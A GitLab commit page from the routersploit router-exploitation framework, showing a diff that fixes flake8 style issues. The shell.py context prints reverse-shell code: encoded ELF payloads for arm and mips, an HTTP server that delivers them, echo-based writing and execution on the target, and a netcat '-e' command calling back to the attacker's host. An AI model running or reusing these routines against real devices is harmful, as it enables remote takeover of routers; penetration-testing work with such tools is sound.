Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
4e556a3f
Commit
4e556a3f
authored
Jul 18, 2016
by
fwkz
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Fixing flake8 violations within core
parent
34297343
Show whitespace changes
Inline
Side-by-side
Showing
12 changed files
with
30 additions
and
44 deletions
+30
-44
__init__.py
routersploit/__init__.py
+0
-0
exceptions.py
routersploit/exceptions.py
+0
-0
interpreter.py
routersploit/interpreter.py
+0
-0
shell.py
routersploit/shell.py
+19
-21
__init__.py
routersploit/test/__init__.py
+0
-0
test_case.py
routersploit/test/test_case.py
+0
-0
test_exploits.py
routersploit/test/test_exploits.py
+0
-6
test_interpreter.py
routersploit/test/test_interpreter.py
+3
-3
test_utils.py
routersploit/test/test_utils.py
+0
-0
test_validators.py
routersploit/test/test_validators.py
+0
-1
utils.py
routersploit/utils.py
+7
-12
__init__.py
routersploit/wordlists/__init__.py
+1
-1
No files found.
routersploit/__init__.py
View file @
4e556a3f
routersploit/exceptions.py
View file @
4e556a3f
routersploit/interpreter.py
View file @
4e556a3f
routersploit/shell.py
View file @
4e556a3f
import
socket
import
struct
import
os
import
telnetlib
import
SimpleHTTPServer
,
BaseHTTPServer
import
time
import
SimpleHTTPServer
import
BaseHTTPServer
import
threading
from
base64
import
b64decode
from
routersploit.utils
import
(
print_info
,
...
...
@@ -48,16 +45,18 @@ def shell(exploit, architecture="", method="", **params):
class
HttpRequestHandler
(
SimpleHTTPServer
.
SimpleHTTPRequestHandler
):
def
do_GET
(
self
):
def
do_GET
(
self
):
self
.
send_response
(
200
)
self
.
send_header
(
'Content-type'
,
'text/html'
)
self
.
send_header
(
'Content-type'
,
'text/html'
)
self
.
end_headers
()
self
.
wfile
.
write
(
self
.
server
.
content
)
self
.
server
.
stop
=
True
def
log_message
(
self
,
format
,
*
args
):
return
class
HttpServer
(
BaseHTTPServer
.
HTTPServer
):
def
serve_forever
(
self
,
content
):
self
.
stop
=
False
...
...
@@ -65,6 +64,7 @@ class HttpServer(BaseHTTPServer.HTTPServer):
while
not
self
.
stop
:
self
.
handle_request
()
class
reverse_shell
(
object
):
arm
=
(
# elf binary
...
...
@@ -154,7 +154,8 @@ class reverse_shell(object):
"
\x73\x73\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x5f\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x5f\x5f
"
"
\x00\x5f\x5f\x62\x73\x73\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f
"
"
\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x65\x64\x61
"
"
\x74\x61\x00\x5f\x65\x6e\x64\x00
"
)
"
\x74\x61\x00\x5f\x65\x6e\x64\x00
"
)
mipsel
=
(
# elf binary
...
...
@@ -241,7 +242,8 @@ class reverse_shell(object):
"
\x10\x00\xf1\xff\x00\x5f\x66\x64\x61\x74\x61\x00\x5f\x67\x70\x00\x5f\x5f\x73\x74\x61\x72
"
"
\x74\x00\x5f\x66\x74\x65\x78\x74\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x62\x73\x73\x5f
"
"
\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x5f\x66\x62\x73
"
"
\x73\x00
"
)
"
\x73\x00
"
)
mips
=
(
# elf binary
...
...
@@ -328,7 +330,8 @@ class reverse_shell(object):
"
\x10\x00\xff\xf1\x00\x5f\x66\x64\x61\x74\x61\x00\x5f\x67\x70\x00\x5f\x5f\x73\x74\x61\x72
"
"
\x74\x00\x5f\x66\x74\x65\x78\x74\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x62\x73\x73\x5f
"
"
\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x5f\x66\x62\x73
"
"
\x73\x00
"
)
"
\x73\x00
"
)
exploit
=
None
arch
=
None
...
...
@@ -381,7 +384,7 @@ class reverse_shell(object):
self
.
generate_binary
(
self
.
lhost
,
self
.
lport
)
# run http server
thread
=
threading
.
Thread
(
target
=
self
.
http_server
,
args
=
(
self
.
lhost
,
self
.
lport
))
thread
=
threading
.
Thread
(
target
=
self
.
http_server
,
args
=
(
self
.
lhost
,
self
.
lport
))
thread
.
start
()
# wget binary
...
...
@@ -418,8 +421,8 @@ class reverse_shell(object):
current
=
i
*
30
print_status
(
"Transferring {}/{} bytes"
.
format
(
current
,
len
(
self
.
revshell
)))
block
=
self
.
revshell
[
current
:
current
+
30
]
.
encode
(
'hex'
)
block
=
"
\\
x"
+
"
\\
x"
.
join
(
a
+
b
for
a
,
b
in
zip
(
block
[::
2
],
block
[
1
::
2
]))
block
=
self
.
revshell
[
current
:
current
+
30
]
.
encode
(
'hex'
)
block
=
"
\\
x"
+
"
\\
x"
.
join
(
a
+
b
for
a
,
b
in
zip
(
block
[::
2
],
block
[
1
::
2
]))
cmd
=
'$(echo -n -e "{}" >> {})'
.
format
(
block
,
path
)
self
.
exploit
.
execute
(
cmd
)
...
...
@@ -444,10 +447,7 @@ class reverse_shell(object):
def
netcat
(
self
,
binary
,
shell
):
# run reverse shell through netcat
sock
=
self
.
listen
(
self
.
lhost
,
self
.
lport
)
cmd
=
"{} {} {} -e {}"
.
format
(
binary
,
self
.
lhost
,
self
.
lport
,
shell
)
cmd
=
"{} {} {} -e {}"
.
format
(
binary
,
self
.
lhost
,
self
.
lport
,
shell
)
self
.
exploit
.
execute
(
cmd
)
...
...
@@ -456,11 +456,9 @@ class reverse_shell(object):
def
execute_binary
(
self
,
location
,
binary_name
):
path
=
"{}/{}"
.
format
(
location
,
binary_name
)
cmd
=
"chmod +x {}; {}; rm {}"
.
format
(
path
,
path
,
path
)
cmd
=
"chmod +x {}; {}; rm {}"
.
format
(
path
,
path
,
path
)
thread
=
threading
.
Thread
(
target
=
self
.
exploit
.
execute
,
args
=
(
cmd
,))
thread
=
threading
.
Thread
(
target
=
self
.
exploit
.
execute
,
args
=
(
cmd
,))
thread
.
start
()
def
listen
(
self
,
lhost
,
lport
):
...
...
routersploit/test/__init__.py
View file @
4e556a3f
routersploit/test/test_case.py
View file @
4e556a3f
routersploit/test/test_exploits.py
View file @
4e556a3f
import
unittest
try
:
import
unittest.mock
as
mock
except
ImportError
:
import
mock
from
routersploit.test
import
RoutersploitTestCase
from
routersploit.exploits
import
Exploit
,
Option
,
GLOBAL_OPTS
...
...
@@ -86,4 +81,3 @@ class OptionTest(RoutersploitTestCase):
if
__name__
==
'__main__'
:
unittest
.
main
()
routersploit/test/test_interpreter.py
View file @
4e556a3f
...
...
@@ -382,7 +382,8 @@ class RoutersploitInterpreterTest(RoutersploitTestCase):
mock
.
call
(
'authors_desc'
),
mock
.
call
(
'
\n
References:'
),
mock
.
call
(
'references_desc'
),
mock
.
call
()]
mock
.
call
()
]
)
@mock.patch
(
'__builtin__.print'
)
...
...
@@ -395,8 +396,7 @@ class RoutersploitInterpreterTest(RoutersploitTestCase):
self
.
interpreter
.
_show_info
()
self
.
assertEqual
(
mock_print
.
mock_calls
,
[
mock
.
call
()]
[
mock
.
call
()]
)
@mock.patch
(
'__builtin__.print'
)
...
...
routersploit/test/test_utils.py
View file @
4e556a3f
routersploit/test/test_validators.py
View file @
4e556a3f
import
unittest
import
socket
try
:
import
unittest.mock
as
mock
...
...
routersploit/utils.py
View file @
4e556a3f
...
...
@@ -148,7 +148,8 @@ def stop_after(space_number):
class
DummyFile
(
object
):
""" Mocking file object. Optimalization for the "mute" decorator. """
def
write
(
self
,
x
):
pass
def
write
(
self
,
x
):
pass
def
mute
(
fn
):
...
...
@@ -390,7 +391,7 @@ def pprint_dict_in_order(dictionary, order=None):
prettyprint
(
rest_keys
,
dictionary
[
rest_keys
])
def
random_text
(
length
,
alph
=
string
.
ascii_letters
+
string
.
digits
):
def
random_text
(
length
,
alph
=
string
.
ascii_letters
+
string
.
digits
):
""" Random text generator. NOT crypto safe.
Generates random text with specified length and alphabet.
...
...
@@ -460,25 +461,20 @@ def posix_shell(chan):
while
(
True
):
r
,
w
,
e
=
select
.
select
([
chan
,
sys
.
stdin
],
[],
[])
if
(
chan
in
r
)
:
if
chan
in
r
:
try
:
x
=
unicode
(
chan
.
recv
(
1024
))
if
(
len
(
x
)
==
0
):
if
len
(
x
)
==
0
:
break
sys
.
stdout
.
write
(
x
)
sys
.
stdout
.
flush
()
except
socket
.
timeout
:
pass
if
(
sys
.
stdin
in
r
)
:
if
sys
.
stdin
in
r
:
x
=
sys
.
stdin
.
read
(
1
)
if
(
len
(
x
)
==
0
):
if
len
(
x
)
==
0
:
break
chan
.
send
(
x
)
finally
:
termios
.
tcsetattr
(
sys
.
stdin
,
termios
.
TCSADRAIN
,
oldtty
)
...
...
@@ -532,4 +528,3 @@ def tokenize(token_specification, text):
else
:
column
=
mo
.
start
()
-
line_start
yield
Token
(
kind
,
value
,
line_num
,
column
,
mo
)
routersploit/wordlists/__init__.py
View file @
4e556a3f
...
...
@@ -4,4 +4,4 @@ import pkg_resources
defaults
=
'file://'
+
pkg_resources
.
resource_filename
(
__name__
,
'defaults.txt'
)
passwords
=
'file://'
+
pkg_resources
.
resource_filename
(
__name__
,
'passwords.txt'
)
usernames
=
'file://'
+
pkg_resources
.
resource_filename
(
__name__
,
'usernames.txt'
)
snmp
=
'file://'
+
pkg_resources
.
resource_filename
(
__name__
,
'snmp.txt'
)
snmp
=
'file://'
+
pkg_resources
.
resource_filename
(
__name__
,
'snmp.txt'
)
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment